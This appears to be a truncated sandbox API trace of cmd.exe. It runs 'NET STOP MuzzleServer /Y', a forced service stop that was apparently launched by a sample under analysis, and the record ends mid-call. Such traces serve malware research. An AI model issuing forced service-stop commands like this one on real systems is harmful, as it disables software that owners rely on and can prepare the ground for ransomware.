lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x0, lpData=0x32eb40*=0x32, lpcbData=0x32eb38*=0x1000) returned 0x2 [0039.362] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x4, lpData=0x32eb40*=0x1, lpcbData=0x32eb38*=0x4) returned 0x0 [0039.362] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x0, lpData=0x32eb40*=0x1, lpcbData=0x32eb38*=0x1000) returned 0x2 [0039.362] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x4, lpData=0x32eb40*=0x0, lpcbData=0x32eb38*=0x4) returned 0x0 [0039.362] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x4, lpData=0x32eb40*=0x40, lpcbData=0x32eb38*=0x4) returned 0x0 [0039.362] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x4, lpData=0x32eb40*=0x40, lpcbData=0x32eb38*=0x4) returned 0x0 [0039.363] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x0, lpData=0x32eb40*=0x40, lpcbData=0x32eb38*=0x1000) returned 0x2 [0039.363] RegCloseKey (hKey=0x6c) returned 0x0 [0039.363] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32eb34 | out: phkResult=0x32eb34*=0x6c) returned 0x0 [0039.363] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x0, lpData=0x32eb40*=0x40, lpcbData=0x32eb38*=0x1000) returned 0x2 [0039.363] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x4, lpData=0x32eb40*=0x1, lpcbData=0x32eb38*=0x4) returned 0x0 [0039.363] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x0, lpData=0x32eb40*=0x1, lpcbData=0x32eb38*=0x1000) returned 0x2 [0039.363] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x4, lpData=0x32eb40*=0x0, lpcbData=0x32eb38*=0x4) returned 0x0 [0039.363] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x4, lpData=0x32eb40*=0x9, lpcbData=0x32eb38*=0x4) returned 0x0 [0039.363] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x4, lpData=0x32eb40*=0x9, lpcbData=0x32eb38*=0x4) returned 0x0 [0039.363] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32eb3c, lpData=0x32eb40, lpcbData=0x32eb38*=0x1000 | out: lpType=0x32eb3c*=0x0, lpData=0x32eb40*=0x9, lpcbData=0x32eb38*=0x1000) returned 0x2 [0039.363] RegCloseKey (hKey=0x6c) returned 0x0 [0039.363] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f51 [0039.363] srand (_Seed=0x5c3c3f51) [0039.363] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP MuzzleServer /Y" [0039.363] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP MuzzleServer /Y" [0039.363] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a635260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.364] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3b4ba8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0039.364] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a640640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.364] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a640640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.364] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a640640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.364] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0039.364] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0039.364] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0039.364] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0039.364] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0039.364] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0039.364] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0039.364] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0039.364] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0039.364] GetEnvironmentStringsW () returned 0x3b2b18* [0039.365] FreeEnvironmentStringsW (penv=0x3b2b18) returned 1 [0039.365] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a640640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.365] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a640640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.365] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0039.365] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0039.365] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0039.365] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0039.365] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0039.365] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0039.365] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0039.365] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0039.365] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f900 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x32f900, lpFilePart=0x32f8fc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32f8fc*="Desktop") returned 0x25 [0039.365] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.365] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f67c | out: lpFindFileData=0x32f67c) returned 0x3b1db0 [0039.366] FindClose (in: hFindFile=0x3b1db0 | out: hFindFile=0x3b1db0) returned 1 [0039.366] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x32f67c | out: lpFindFileData=0x32f67c) returned 0x3b1db0 [0039.366] FindClose (in: hFindFile=0x3b1db0 | out: hFindFile=0x3b1db0) returned 1 [0039.366] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0039.366] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x32f67c | out: lpFindFileData=0x32f67c) returned 0x3b1db0 [0039.366] FindClose (in: hFindFile=0x3b1db0 | out: hFindFile=0x3b1db0) returned 1 [0039.366] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.366] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0039.366] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0039.366] GetEnvironmentStringsW () returned 0x3b2b18* [0039.367] FreeEnvironmentStringsW (penv=0x3b2b18) returned 1 [0039.367] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a635260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.367] GetConsoleOutputCP () returned 0x1b5 [0039.367] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a634260 | out: lpCPInfo=0x4a634260) returned 1 [0039.367] GetUserDefaultLCID () returned 0x409 [0039.368] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a634950, cchData=8 | out: lpLCData=":") returned 2 [0039.368] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32fa40, cchData=128 | out: lpLCData="0") returned 2 [0039.368] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32fa40, cchData=128 | out: lpLCData="0") returned 2 [0039.368] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32fa40, cchData=128 | out: lpLCData="1") returned 2 [0039.368] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a634940, cchData=8 | out: lpLCData="/") returned 2 [0039.368] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a634d80, cchData=32 | out: lpLCData="Mon") returned 4 [0039.369] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a634d40, cchData=32 | out: lpLCData="Tue") returned 4 [0039.369] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a634d00, cchData=32 | out: lpLCData="Wed") returned 4 [0039.369] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a634cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0039.369] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a634c80, cchData=32 | out: lpLCData="Fri") returned 4 [0039.369] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a634c40, cchData=32 | out: lpLCData="Sat") returned 4 [0039.369] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a634c00, cchData=32 | out: lpLCData="Sun") returned 4 [0039.369] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a634930, cchData=8 | out: lpLCData=".") returned 2 [0039.369] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a634920, cchData=8 | out: lpLCData=",") returned 2 [0039.369] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0039.370] GetConsoleTitleW (in: lpConsoleTitle=0x3b58f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.370] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0039.370] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0039.371] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0039.371] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0039.371] _wcsicmp (_String1="NET", _String2=")") returned 69 [0039.371] _wcsicmp (_String1="FOR", _String2="NET") returned -8 [0039.371] _wcsicmp (_String1="FOR/?", _String2="NET") returned -8 [0039.371] _wcsicmp (_String1="IF", _String2="NET") returned -5 [0039.371] _wcsicmp (_String1="IF/?", _String2="NET") returned -5 [0039.372] _wcsicmp (_String1="REM", _String2="NET") returned 4 [0039.372] _wcsicmp (_String1="REM/?", _String2="NET") returned 4 [0039.373] GetConsoleTitleW (in: lpConsoleTitle=0x32f738, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.373] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0039.373] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0039.373] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0039.373] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0039.373] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0039.373] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0039.373] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0039.373] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0039.373] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0039.373] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0039.374] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0039.374] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0039.374] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0039.374] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0039.374] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0039.374] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0039.374] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0039.374] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0039.374] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0039.374] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0039.374] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0039.374] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0039.374] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0039.374] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0039.374] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0039.374] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0039.374] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0039.374] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0039.374] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0039.374] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0039.374] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0039.374] _wcsicmp (_String1="NET", _String2="START") returned -5 [0039.374] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0039.374] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0039.374] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0039.374] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0039.374] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0039.374] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0039.374] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0039.374] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0039.374] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0039.374] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0039.375] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0039.375] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0039.375] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0039.375] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0039.375] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0039.375] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0039.375] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0039.375] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0039.375] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0039.375] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0039.375] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0039.375] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0039.375] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0039.375] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0039.375] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0039.375] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0039.375] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0039.375] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0039.375] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0039.375] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0039.375] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0039.375] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0039.375] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0039.375] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0039.375] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0039.375] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0039.375] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0039.375] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0039.375] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0039.375] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0039.375] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0039.376] _wcsicmp (_String1="NET", _String2="START") returned -5 [0039.376] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0039.376] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0039.376] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0039.376] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0039.376] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0039.376] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0039.376] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0039.376] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0039.376] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0039.376] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0039.376] _wcsicmp (_String1="NET", _String2="FOR") returned 8 [0039.376] _wcsicmp (_String1="NET", _String2="IF") returned 5 [0039.376] _wcsicmp (_String1="NET", _String2="REM") returned -4 [0039.376] _wcsnicmp (_String1="NET", _String2="cmd ", _MaxCount=0x4) returned 11 [0039.376] SetErrorMode (uMode=0x0) returned 0x0 [0039.377] SetErrorMode (uMode=0x1) returned 0x0 [0039.377] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3b5db8, lpFilePart=0x32f258 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32f258*="Desktop") returned 0x25 [0039.377] SetErrorMode (uMode=0x0) returned 0x1 [0039.377] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a640640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.377] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0039.384] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a640640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.386] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.386] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x32efd4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32efd4) returned 0xffffffff [0039.386] GetLastError () returned 0x2 [0039.386] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET", fInfoLevelId=0x1, lpFindFileData=0x32efd4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32efd4) returned 0xffffffff [0039.387] GetLastError () returned 0x2 [0039.387] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.387] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x32efd4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32efd4) returned 0x3b60f0 [0039.387] FindClose (in: hFindFile=0x3b60f0 | out: hFindFile=0x3b60f0) returned 1 [0039.387] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x32efd4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32efd4) returned 0xffffffff [0039.387] GetLastError () returned 0x2 [0039.387] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x32efd4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32efd4) returned 0x3b60f0 [0039.387] FindClose (in: hFindFile=0x3b60f0 | out: hFindFile=0x3b60f0) returned 1 [0039.387] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0039.388] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0039.388] GetConsoleTitleW (in: lpConsoleTitle=0x32f4cc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.388] InitializeProcThreadAttributeList (in: lpAttributeList=0x32f354, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32f41c | out: lpAttributeList=0x32f354, lpSize=0x32f41c) returned 1 [0039.388] UpdateProcThreadAttribute (in: lpAttributeList=0x32f354, dwFlags=0x0, Attribute=0x60001, lpValue=0x32f414, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32f354, lpPreviousValue=0x0) returned 1 [0039.388] GetStartupInfoW (in: lpStartupInfo=0x32f310 | out: lpStartupInfo=0x32f310*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x3a19c2, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0039.388] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0039.389] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0039.389] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0039.391] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="NET STOP MuzzleServer /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x32f3b0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="NET STOP MuzzleServer /Y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32f3fc | out: lpCommandLine="NET STOP MuzzleServer /Y", lpProcessInformation=0x32f3fc*(hProcess=0x7c, hThread=0x78, dwProcessId=0xb30, dwThreadId=0xb34)) returned 1 [0039.397] CloseHandle (hObject=0x78) returned 1 [0039.398] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0039.398] GetEnvironmentStringsW () returned 0x3b4db8* [0039.398] FreeEnvironmentStringsW (penv=0x3b4db8) returned 1 [0039.398] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0039.566] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x32f2f0 | out: 